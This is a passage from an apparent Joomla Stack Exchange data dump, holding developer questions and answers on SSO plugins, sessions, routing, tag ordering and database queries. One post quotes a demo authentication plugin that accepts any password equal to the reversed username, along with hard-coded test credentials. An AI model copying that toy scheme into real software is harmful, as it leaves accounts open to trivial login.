'';&#xA;    $response = new \stdClass();&#xA;    $credentials = array();&#xA;    $credentials[&amp;quot;username&amp;quot;] = &amp;quot;test&amp;quot;;&#xA;    $credentials[&amp;quot;password&amp;quot;] = &amp;quot;tset&amp;quot;;&#xA;    $results = $dispatcher-&amp;gt;trigger('onUserAuthenticate', array($credentials, &#xA;     $options, &amp;amp;$response));&#xA;&#xA;    return $results;&#xA;}&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;/plugins/authentication/test/test.php (This has been copied from Joomla documentation to test the functionality)&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;class PlgAuthenticationTest extends JPlugin&#xA;{&#xA;   function onUserAuthenticate( $credentials, $options, &amp;amp;$response )&#xA;    {&#xA;        &#xA;        /*&#xA;         * Here you would do whatever you need for an authentication routine with the credentials&#xA;         *&#xA;         * In this example the mixed variable $return would be set to false&#xA;         * if the authentication routine fails or an integer userid of the authenticated&#xA;         * user if the routine passes&#xA;         */&#xA;        $db = JFactory::getDbo();&#xA;    $query  = $db-&amp;gt;getQuery(true)&#xA;        -&amp;gt;select('id')&#xA;        -&amp;gt;from('#__users')&#xA;        -&amp;gt;where('username=' . $db-&amp;gt;quote($credentials['username']));&#xA;&#xA;    $db-&amp;gt;setQuery($query);&#xA;    $result = $db-&amp;gt;loadResult();&#xA;    &#xA;&#xA;    if (!$result) {&#xA;        $response-&amp;gt;status = STATUS_FAILURE;&#xA;        $response-&amp;gt;error_message = 'User does not exist';&#xA;    }&#xA;&#xA;    /**&#xA;     * To authenticate, the username must exist in the database, and the password should be equal&#xA;     * to the reverse of the username (so user joeblow would have password wolbeoj)&#xA;     */&#xA;    if($result &amp;amp;&amp;amp; ($credentials['username'] == strrev( $credentials['password'] )))&#xA;    {&#xA;        $email = JUser::getInstance($result); // Bring this in line with the rest of the system&#xA;        &#xA;        $response-&amp;gt;email = $email-&amp;gt;email;&#xA;        &#xA;        $response-&amp;gt;status = JAuthentication::STATUS_SUCCESS;&#xA;        &#xA;        return true;&#xA;        &#xA;    }&#xA;    else&#xA;    {&#xA;        $response-&amp;gt;status = JAuthentication::STATUS_FAILURE;&#xA;        $response-&amp;gt;error_message = 'Invalid username and password';&#xA;    }&#xA;    }&#xA;    &#xA;    &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The problem is that I can log in ok if I log in through the log in form, but I can't log in if I call the component controller from the URL. The credentials of the user are hard-coded to avoid mistakes, so that the authentication should always be correct.&lt;/p&gt;&#xA;&lt;p&gt;The process I followed is:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Created a component that includes the authentication plugin.&#xA;a. Please note that I'm including the whole &amp;quot;authentication&amp;quot; plugin, including&#xA;the single plugin doesn't seem to work.&lt;/li&gt;&#xA;&lt;li&gt;Created an authentication plugin&lt;/li&gt;&#xA;&lt;li&gt;Visited the controller URL - index.php?option=com_testauth&amp;amp;task=sso.auth&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE 2&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;I have come up with another solution, which unfortunately it's not working at 100%, but it may help people in the future.&lt;/p&gt;&#xA;&lt;p&gt;What I did is:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Created an Ajax plugin, and installed it as an Ajax plugin in Joomla to expose the URL, code as follows:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;`&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;function onAjaxSSO()&#xA;{&#xA;$app = JFactory::getApplication();&#xA;$input = $app-&amp;gt;input;&#xA;$app-&amp;gt;setHeader('X-Robots-Tag', 'noindex, nofollow');   &#xA;$task = $input-&amp;gt;get(&amp;quot;task&amp;quot;, &amp;quot;&amp;quot;, &amp;quot;cmd&amp;quot;); &#xA;$app-&amp;gt;logout(JFactory::getUser()-&amp;gt;id, array()); &#xA;&#xA;//Do all the security checks to see if the call is legit or not and if it has all the right details.&#xA;[...]&#xA;&#xA;//Pass the details to the authentication plugin&#xA;$loginResponse = $app-&amp;gt;login(array('username' =&amp;gt; $username, 'email' =&amp;gt; $email, 'password' =&amp;gt; $password, 'name' =&amp;gt; $forename.' '.$surname), array('silent' =&amp;gt; true));    &#xA;&#xA;//Check what is the response from the authentication plugin and display the message on the API response&#xA;&#xA;if($loginResponse === true) {&#xA;    $app-&amp;gt;setHeader('status', 200, true);&#xA;    $result = &amp;quot;&amp;quot;;&#xA;    echo new JResponseJson($result, 'Success - User is authenticated', false);&#xA;    return $app-&amp;gt;close();&#xA;}&#xA;else {&#xA;    $app-&amp;gt;setHeader('status', 401, true);&#xA;    $result = '';&#xA;    echo new JResponseJson($result, 'Unauthorized - User is not authenticated', true);&#xA;    return $app-&amp;gt;close();&#xA;}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;`&lt;/p&gt;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Created an authentication plugin, this deals with all the authentication stuff. Code as follows, parts are missing for brevity:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;`&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;function onUserAuthenticate( $credentials, $options, &amp;amp;$response )&#xA;{&#xA;&#xA;$app = JFactory::getApplication();&#xA;        &#xA;//No log in for admins&#xA;if ($app-&amp;gt;isClient('administrator')) {&#xA;&#xA;    $response-&amp;gt;status        = JAuthentication::STATUS_FAILURE;&#xA;    return false;&#xA;}&#xA;&#xA;//We check Joomla database to see if the details are the same&#xA;[...]&#xA;&#xA;//Authenticate the user if everything looks legit&#xA;&#xA;    $user                    = JUser::getInstance($joomlaId);&#xA;    $response-&amp;gt;email         = $user-&amp;gt;email;&#xA;    $response-&amp;gt;fullname      = $user-&amp;gt;name;&#xA;    $response-&amp;gt;username      = $user-&amp;gt;username;&#xA;    $response-&amp;gt;language      = $user-&amp;gt;getParam('language');&#xA;    $response-&amp;gt;status        = JAuthentication::STATUS_SUCCESS;&#xA;    $response-&amp;gt;error_message = '';&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;`&lt;/p&gt;&#xA;&lt;p&gt;When I call the API exposed with the Ajax plugin, I get a &amp;quot;true&amp;quot; response from the plugin, the authentication goes fine (I can see the user being updated/inserted on the database), and I can also see, from the back-end, the user in the list of &amp;quot;Active users&amp;quot;, but nothing changes on the front-end. The user is not properly logged-in, the joomla_user_state cookie has not been created and everything seems like the user has never logged in. If I try to print&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;echo JFactory::getUser()-&amp;gt;id&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;I get 0.&lt;/p&gt;&#xA;" OwnerUserId="14478" LastEditorUserId="14478" LastEditDate="2020-09-01T16:30:02.333" LastActivityDate="2022-02-23T20:25:33.953" Title="Joomla custom SSO plugin" Tags="|joomla-3.x|plugin|joomla-api|single-sign-on|" AnswerCount="1" CommentCount="10" ContentLicense="CC BY-SA 4.0" />
  <row Id="28386" PostTypeId="1" AcceptedAnswerId="28387" CreationDate="2020-08-25T20:07:13.360" Score="1" ViewCount="95" Body="&lt;p&gt;I want to dump tags by order from the #__tags database table, but there is no order column in the structure, though there is ordering capability in the tags component.&lt;/p&gt;&#xA;&lt;p&gt;I've viewed the relevant files from com_tags in reference to ordering, but I have not been able to define the logic to apply to my query statement.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;SELECT p.alias,p.title,t.title AS tagname  &#xA;FROM #__content p,#__tags t,#__contentitem_tag_map m &#xA;WHERE m.tag_id = t.id &#xA;AND m.content_item_id = p.id &#xA;AND p.catid = 27 &#xA;ORDER BY t.tagorder ASC //this column not included in table&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I don't see any column that handles ordering. How can I get the ordering as arranged in the component's tags view page?&lt;/p&gt;&#xA;" OwnerUserId="12862" LastActivityDate="2020-08-26T00:05:15.893" Title="Where does Joomla com_tags store the ordering data?" Tags="|joomla-3.x|database|tags|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="28387" PostTypeId="2" ParentId="28386" CreationDate="2020-08-26T00:05:15.893" Score="2" Body="&lt;p&gt;Use column &lt;code&gt;lft&lt;/code&gt; to order by the tag component's ordering.&lt;/p&gt;&#xA;&lt;p&gt;The tags use nested ordering like the menu table - for a post that discusses nested ordering see &lt;a href=&quot;https://joomla.stackexchange.com/questions/23743/ordering-joomla-menus-in-code&quot;&gt;Ordering Joomla menus in code&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7374" LastActivityDate="2020-08-26T00:05:15.893" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28388" PostTypeId="1" CreationDate="2020-08-28T06:34:57.657" Score="0" ViewCount="127" Body="&lt;p&gt;I am programming a little component and module in Joomla.&lt;/p&gt;&#xA;&lt;p&gt;My component and module reads a variable from the php session (this variable is set before for external php script).&lt;/p&gt;&#xA;&lt;p&gt;External php script:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;define( '_JEXEC', 1 );&#xA;define( 'JPATH_BASE', realpath(dirname(__FILE__).'/..' ));&#xA;&#xA;require_once ( JPATH_BASE. '/includes/defines.php' );&#xA;require_once ( JPATH_BASE. '/includes/framework.php' );&#xA;$mainframe = JFactory::getApplication('site');&#xA;$mainframe-&amp;gt;initialise();&#xA;&#xA;//session_start();&#xA;$session = JFactory::getSession();      &#xA;$session-&amp;gt;set('namevar', base64_encode('message'));`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Joomla's module and component (have the same code):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$session = JFactory::getSession();&#xA;$mymessage = $session-&amp;gt;get(&amp;quot;namevar&amp;quot;);&#xA;echo $mymessage ;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The curious thing is that:&#xA;-The module works fine.&#xA;-The component does not work (and if I do a &lt;code&gt;var_dump($mymessage)&lt;/code&gt; it shows &lt;code&gt;NULL&lt;/code&gt;).&lt;/p&gt;&#xA;&lt;p&gt;Moreover, this code works the time after :S&lt;/p&gt;&#xA;&lt;p&gt;Any idea why this doesn't work the first time?&lt;/p&gt;&#xA;" OwnerUserId="14487" LastEditorUserId="12352" LastEditDate="2020-08-28T06:48:07.760" LastActivityDate="2020-08-28T06:48:07.760" Title="Joomla - PHP session in joomla disappears" Tags="|php|component|session|joomla-3.9.15|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="28389" PostTypeId="1" CreationDate="2020-08-28T08:56:12.760" Score="0" ViewCount="197" Body="&lt;p&gt;I am creating my own component.&#xA;Is it possible to transform:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;Route::_('index.php?option=com_toto&amp;amp;view=tutu')&lt;/code&gt; into &lt;code&gt;/somealiasinmenu&lt;/code&gt;?&lt;/p&gt;&#xA;&lt;p&gt;(This alias can be found in a menu in the backoffice.)&lt;/p&gt;&#xA;&lt;p&gt;I can do this:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;link 1 /listAlias&lt;/li&gt;&#xA;&lt;li&gt;link 2 /formAlias&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;When I click on listAlias, I can edit one row. With my router I have this url:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;/listAlias/formviewname/123&lt;/code&gt;&#xA;but I'd like this url &lt;code&gt;/formAlias/123&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;How can I do that?&lt;/p&gt;&#xA;&lt;p&gt;Here is my router.php:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;function TotoBuildRoute(&amp;amp;$query)&#xA;{&#xA;    $segments = array();&#xA;&#xA;    if(isset($query['view'])){&#xA;        $segments[] = $query['view'];&#xA;        unset($query['view']);&#xA;    };&#xA;&#xA;    if(isset($query['id'])){&#xA;        $segments[] = $query['id'];&#xA;        unset($query['id']);&#xA;    };&#xA;&#xA;    return $segments;&#xA;}&#xA;&#xA;function TotoPlaceParseRoute($segments)&#xA;{&#xA;    $vars = array();&#xA;&#xA;    if ($segments[0] === 'formviewname') {&#xA;        $vars['id'] = (int)strstr(end($segments), ':', true);&#xA;    }&#xA;    $vars['view'] = $segments[0];&#xA;&#xA;    return $vars;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14488" LastEditorUserId="12352" LastEditDate="2020-08-29T02:42:36.990" LastActivityDate="2020-09-02T08:24:15.437" Title="Joomla custom component - router not find alias" Tags="|jroute|router|alias|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28390" PostTypeId="1" AcceptedAnswerId="28393" CreationDate="2020-08-28T13:49:41.180" Score="1" ViewCount="371" Body="&lt;p&gt;I have a complex query like below. I want the &lt;code&gt;p.ComponentId&lt;/code&gt; values to be the first level keys of the multidimensional result set array. However, it does not work as expected. In my case, when I don't set a key, it returns 12 items in the array as expected. When I nominate a column as the parameter of &lt;code&gt;loadAssocList()&lt;/code&gt;, it only returns one (the last) item.&lt;/p&gt;&#xA;&lt;p&gt;Am I doing something wrong?&lt;/p&gt;&#xA;&lt;p&gt;The query is this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;// Get database connector&#xA;  $db = JFactory::getDbo();&#xA;&#xA; // Prepare query to get all fields&#xA;  $query = $db-&amp;gt;getQuery(true)&#xA;    -&amp;gt;select($db-&amp;gt;qn('t.value'))    &#xA;    -&amp;gt;from($db-&amp;gt;qn('#__rsform_properties', 'p'))&#xA;    -&amp;gt;leftJoin($db-&amp;gt;qn('#__rsform_components', 'c').' ON ('.$db-&amp;gt;qn('c.ComponentId').' = '.$db-&amp;gt;qn('p.ComponentId').')')&#xA;    -&amp;gt;leftJoin($db-&amp;gt;qn('#__rsform_translations', 't').' ON (CONCAT('.$db-&amp;gt;qn('p.ComponentId').',\'.ITEMS\') LIKE '.$db-&amp;gt;qn('t.reference_id').')')&#xA;    -&amp;gt;where($db-&amp;gt;qn('c.FormId').'='.$db-&amp;gt;q($args['form']-&amp;gt;FormId))&#xA;    -&amp;gt;where($db-&amp;gt;qn('t.form_id').'='.$db-&amp;gt;q($args['form']-&amp;gt;FormId))&#xA;    -&amp;gt;where($db-&amp;gt;qn('p.PropertyName').'='.$db-&amp;gt;q('ITEMS'))&#xA;    -&amp;gt;where($db-&amp;gt;qn('c.Published').'='.$db-&amp;gt;q(1))&#xA;    -&amp;gt;order($db-&amp;gt;qn('c.Order'));&#xA; $db-&amp;gt;setQuery($query);&#xA;&#xA;  // Get all fields&#xA;  $fields = $db-&amp;gt;loadAssocList();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Which returns 12 results just fine.&lt;/p&gt;&#xA;&lt;p&gt;But when i change the last row to:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;  $fields = $db-&amp;gt;loadAssocList('p.ComponentId');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I get this result:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;array(1) {&#xA;  [&amp;quot;&amp;quot;]=&amp;gt;&#xA;  array(1) {&#xA;    [&amp;quot;value&amp;quot;]=&amp;gt;&#xA;    string(2) &amp;quot;Ja&amp;quot;&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I also tried &lt;code&gt;t.reference_id&lt;/code&gt;, but this provides the same result.&lt;/p&gt;&#xA;&lt;p&gt;I was expecting something like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;array(1) {&#xA;  [&amp;quot;$key&amp;quot;]=&amp;gt;&#xA;  array(1) {&#xA;    [&amp;quot;value&amp;quot;]=&amp;gt;&#xA;    string(2) &amp;quot;Ja&amp;quot;&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;where &lt;code&gt;$key&lt;/code&gt; would be the row's &lt;code&gt;p.ComponentId&lt;/code&gt; value.&lt;/p&gt;&#xA;" OwnerUserId="13294" LastEditorUserId="12352" LastEditDate="2020-08-29T08:57:33.397" LastActivityDate="2020-09-01T20:36:05.073" Title="loadAssocList() is not working properly when assigning a column name as the key parameter" Tags="|mysql|jdatabase|joomla-3.9|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28391" PostTypeId="1" AcceptedAnswerId="28396" CreationDate="2020-08-28T14:40:14.310" Score="0" ViewCount="183" Body="&lt;p&gt;I am practically new to Joomla and I need to get the SEF path of an article from an external php script. I feel like I'm close, but something is not working for me. The preliminary code I have as an example is:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;require_once(JPATH_BASE . DS . 'includes' . DS . 'defines.php');&#xA;require_once(JPATH_BASE . DS . 'includes' . DS . 'framework.php');&#xA;$mainframe = JFactory::getApplication('site');&#xA;$mainframe-&amp;gt;initialise();&#xA;&#xA;$articleId = 80;&#xA;&#xA;$url = JRoute::_(&amp;quot;index.php?option=com_content&amp;amp;view=article&amp;amp;id=&amp;quot; . $articleId);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;With this, JRoute returns the path &lt;code&gt;/component/content/article?Id=80&amp;amp;Itemid=437&lt;/code&gt;. After doing some research, I read that I must include the &amp;quot;itemId&amp;quot; of the menu.&lt;/p&gt;&#xA;&lt;p&gt;I'm not sure if it's the &amp;quot;437&amp;quot; that the JRoute returns to me, or if I should get it separately. Based on my reading, one way to get the menu item id is:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$link = 'index.php?option=com_content&amp;amp;view=article&amp;amp;id=' . $articleId;&#xA;$menu = $mainframe-&amp;gt;getMenu();&#xA;$menuItem = $menu-&amp;gt;getItems('link', $link, true);&#xA;$Itemid = $menuItem-&amp;gt;id;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;However the &lt;code&gt;$Itemid&lt;/code&gt; returns empty. I would appreciate if someone could guide me with this. What I need is to build the SEF path of the article, regardless of its menu structure. My final need is to create a link to that article based on its articleID from an external php script.&lt;/p&gt;&#xA;" OwnerUserId="14489" LastEditorUserId="12352" LastEditDate="2020-08-29T02:38:11.103" LastActivityDate="2020-08-29T21:28:27.183" Title="Get SEF path of an article from external script using articleID" Tags="|php|url|sef|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28392" PostTypeId="1" CreationDate="2020-08-28T17:16:33.900" Score="0" ViewCount="122" Body="&lt;p&gt;I have the need to use a namespace in session, so I am using the following to set the session:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$session = JFactory::getSession();&#xA;$customOrder['items'][] = $itemArray;&#xA;$session-&amp;gt;set(&amp;quot;order&amp;quot;, $customOrder, 'my_custom_namespace');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This works great. If I then print the entire &lt;code&gt;$session&lt;/code&gt;, I can see the &lt;code&gt;my_custom_namespace&lt;/code&gt; and the expected values, like so:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;[__my_custom_namespace] =&amp;gt; stdClass Object ( [order] =&amp;gt; Array ( [items] =&amp;gt; Array ( [0] =&amp;gt; Array ( [6] =&amp;gt; 1 ) ) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So far, so good! However, I am struggling to retrieve the data. I expected this to work, but it does not:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$session    = JFactory::getSession();&#xA;$orderData  = $session-&amp;gt;get('order', 'items', 'my_custom_namespace');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Instead, this just prints out &lt;code&gt;items&lt;/code&gt;. It doesn't seem to matter what I try to use in place of &lt;code&gt;order&lt;/code&gt; or &lt;code&gt;items&lt;/code&gt;, it just prints the second parameter from the &lt;code&gt;get()&lt;/code&gt; when I &lt;code&gt;print_r($orderData)&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Any ideas? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="14490" LastActivityDate="2020-08-30T15:10:05.717" Title="Set and Retrieve Array in Joomla Session Namespace" Tags="|joomla-3.x|jsession|namespace|" AnswerCount="1" CommentCount="2" ClosedDate="2020-08-31T01:37:22.347" ContentLicense="CC BY-SA 4.0" />
  <row Id="28393" PostTypeId="2" ParentId="28390" CreationDate="2020-08-29T04:56:27.930" Score="4" Body="&lt;p&gt;Most critical to fixing your issue is to include the &lt;code&gt;p.ComponentId&lt;/code&gt; column in your &lt;code&gt;select()&lt;/code&gt; call so that it is available at the time the result set is being constructed.&lt;/p&gt;&#xA;&lt;p&gt;If you have your error reporting turned on/up, then I expect that you would have seen several of these:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Notice: Undefined index: p.ComponentId in ...&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I have a few additional pointers to give, so I'll start with my suggested rewrite of your database interacting script then explain what I've done and why.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;&#xA;$query&#xA;    -&amp;gt;select(&#xA;        $db-&amp;gt;qn([&#xA;            'p.ComponentId',&#xA;            't.value'&#xA;        ])&#xA;    )&#xA;    -&amp;gt;from($db-&amp;gt;qn('#__rsform_properties', 'p'))&#xA;    -&amp;gt;innerJoin(&#xA;        $db-&amp;gt;qn('#__rsform_components', 'c')&#xA;        . ' ON ' . $db-&amp;gt;qn('p.ComponentId') . ' = ' . $db-&amp;gt;qn('c.ComponentId')&#xA;    )&#xA;    -&amp;gt;innerJoin(&#xA;        $db-&amp;gt;qn('#__rsform_translations', 't')&#xA;        . ' ON ' . $query-&amp;gt;concatenate([$db-&amp;gt;qn('p.ComponentId'), $db-&amp;gt;q('.ITEMS')]) . ' = ' . $db-&amp;gt;qn('t.reference_id')&#xA;        . ' AND ' . $db-&amp;gt;qn('c.FormId') . ' = ' . $db-&amp;gt;qn('t.form_id')&#xA;    )&#xA;    -&amp;gt;where([&#xA;        $db-&amp;gt;qn('c.FormId') . ' = ' . $db-&amp;gt;q($args['form']-&amp;gt;FormId),&#xA;        $db-&amp;gt;qn('p.PropertyName') . ' = ' . $db-&amp;gt;q('ITEMS'),&#xA;        $db-&amp;gt;qn('c.Published') . ' = 1'&#xA;    ])&#xA;    -&amp;gt;order($db-&amp;gt;qn('c.Order'));&#xA;$db-&amp;gt;setQuery($query);&#xA;$fields = $db-&amp;gt;loadAssocList('ComponentId');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I would expect your result set to resemble this structure now:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;[&#xA;    1 =&amp;gt; [&#xA;        &amp;quot;ComponentId&amp;quot; =&amp;gt; 1,&#xA;        &amp;quot;value&amp;quot; =&amp;gt; &amp;quot;Ja&amp;quot;&#xA;    ],&#xA;    2 =&amp;gt; [&#xA;        &amp;quot;ComponentId&amp;quot; =&amp;gt; 2,&#xA;        &amp;quot;value&amp;quot; =&amp;gt; &amp;quot;Nein&amp;quot;&#xA;    ]&#xA;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;code&gt;$db&lt;/code&gt; and &lt;code&gt;$query&lt;/code&gt; need to be declared at the start of this process, because these variables will be leveraged in subsequent method calls (such as &lt;code&gt;q()&lt;/code&gt;, &lt;code&gt;qn()&lt;/code&gt;, and &lt;code&gt;concatenate()&lt;/code&gt;).&lt;/li&gt;&#xA;&lt;li&gt;I've expanded the internal syntax of some of the method calls to avoid excessively wide lines of code with the intent to make the code easier to read.  You are welcome to compact the code into fewer lines if you wish, but be sure to obey &lt;a href=&quot;https://www.php-fig.org/psr/psr-12/&quot; rel=&quot;nofollow noreferrer&quot;&gt;PSR-12 coding standards&lt;/a&gt; and/or &lt;a href=&quot;https://github.com/joomla/coding-standards/tree/master/manual&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla's coding standards&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Because of your posted &lt;code&gt;WHERE&lt;/code&gt; conditions, I can infer that &lt;code&gt;INNER JOIN&lt;/code&gt; is better suited than &lt;code&gt;LEFT JOIN&lt;/code&gt; because you have no interest in rows from the joined tables that lack &lt;code&gt;$args['form']-&amp;gt;FormId&lt;/code&gt; as their form identifier.  I have removed one of the &lt;code&gt;WHERE&lt;/code&gt; conditions and added the necessary logic into the second &lt;code&gt;innerJoin()&lt;/code&gt; call.&lt;/li&gt;&#xA;&lt;li&gt;Your join &lt;code&gt;ON&lt;/code&gt; conditions are sufficiently simple and do not require any parentheses to preserve the logic.  For this reason, I recommend removing the unnecessary syntax.&lt;/li&gt;&#xA;&lt;li&gt;Joomla has a concatenating helper function available which will make your code more &amp;quot;portable&amp;quot; (meaning it will be instantly functional on a wide spectrum of database drivers e.g. mysqli, sqlite, sqlsrv, etc...), so I recommend employing &lt;code&gt;concatenate()&lt;/code&gt;.  Unlike &lt;code&gt;$db&lt;/code&gt;, it must be called from &lt;code&gt;$query&lt;/code&gt; -- this is the reason that &lt;code&gt;$query&lt;/code&gt; is declared as a separate variable before diving into query building syntax.  There is &lt;a href=&quot;https://joomla.stackexchange.com/q/24302/12352#:%7E:text=Null%20Parameters%20With%20concatenate()&quot;&gt;a potential gotcha about the &lt;code&gt;concatenate()&lt;/code&gt; call&lt;/a&gt;, but it will not impact your usage here.&lt;/li&gt;&#xA;&lt;li&gt;For best performance, you must not use &lt;code&gt;LIKE&lt;/code&gt; unless it is necessary.  Because there are no wildcards (&lt;code&gt;%&lt;/code&gt; or &lt;code&gt;_&lt;/code&gt;) in your comparison value, a simple &lt;code&gt;=&lt;/code&gt; comparison is all that is required.&lt;/li&gt;&#xA;&lt;li&gt;It is not beneficial to quote-wrap a &lt;code&gt;1&lt;/code&gt; for your query, so I've omitted that &lt;code&gt;q()&lt;/code&gt; call.&lt;/li&gt;&#xA;&lt;li&gt;When you call &lt;code&gt;loadAssocList()&lt;/code&gt; and feed it the desired column as its parameter / first level key, you no longer need to declare the table alias.  The result set generated by the &lt;code&gt;SELECT&lt;/code&gt; will never include the table or alias that it came from.  In fact, if you had two columns in the &lt;code&gt;SELECT&lt;/code&gt; that came from two different tables, but shared the same name, then the former column would be overwritten by the latter one.  In other words, make sure that your column names are uniquely identified so that you never accidentally exclude any data from the result set.&lt;/li&gt;&#xA;&lt;li&gt;Before I edited your question, you referred to the result set as an array of objects, but you are calling &lt;code&gt;loadAssocList()&lt;/code&gt; -- which generates an array of arrays.  If you desire an array of objects, you'll want to call &lt;code&gt;loadObjectList()&lt;/code&gt; instead.  You will still be able to nominate the first level keys in the same fashion.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;p.s. The reason that you were getting 1 row instead of 12 rows, was because the missing column was generating an empty value.  PHP arrays may never have duplicate keys on the same level, so every subsequent row of data was overwriting the earlier row because of the duplicated (empty string) first level key.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2020-09-01T20:36:05.073" LastActivityDate="2020-09-01T20:36:05.073" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28394" PostTypeId="1" CreationDate="2020-08-29T14:26:17.900" Score="1" ViewCount="231" Body="&lt;p&gt;I am creating a small backend component using the helloworld example. So far so good.&lt;/p&gt;&#xA;&lt;p&gt;It is working fine except when I change the ordering using the listbox:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Mfpv9.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Mfpv9.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Nothing happens to &lt;code&gt;list.ordering&lt;/code&gt; and &lt;code&gt;list.direction&lt;/code&gt;. However, &lt;code&gt;list.fullordering&lt;/code&gt; is changed okay.&lt;/p&gt;&#xA;&lt;p&gt;The field in filter_jbburgstand.xml looks like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;fields name=&amp;quot;list&amp;quot;&amp;gt;&#xA;    &amp;lt;field&#xA;        name=&amp;quot;fullordering&amp;quot;&#xA;        type=&amp;quot;list&amp;quot;&#xA;        label=&amp;quot;JGLOBAL_SORT_BY&amp;quot;&#xA;        description=&amp;quot;JGLOBAL_SORT_BY&amp;quot;&#xA;        onchange=&amp;quot;this.form.submit();&amp;quot;&#xA;        default=&amp;quot;ID ASC&amp;quot;&#xA;    &amp;gt;&#xA;        &amp;lt;option value=&amp;quot;&amp;quot;&amp;gt;JGLOBAL_SORT_BY&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&amp;quot;ID ASC&amp;quot;&amp;gt;ID oplopend&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&amp;quot;ID DESC&amp;quot;&amp;gt;ID aflopend&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&amp;quot;IPadres ASC&amp;quot;&amp;gt;IPadres oplopend&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&amp;quot;IPadres DESC&amp;quot;&amp;gt;IPadres  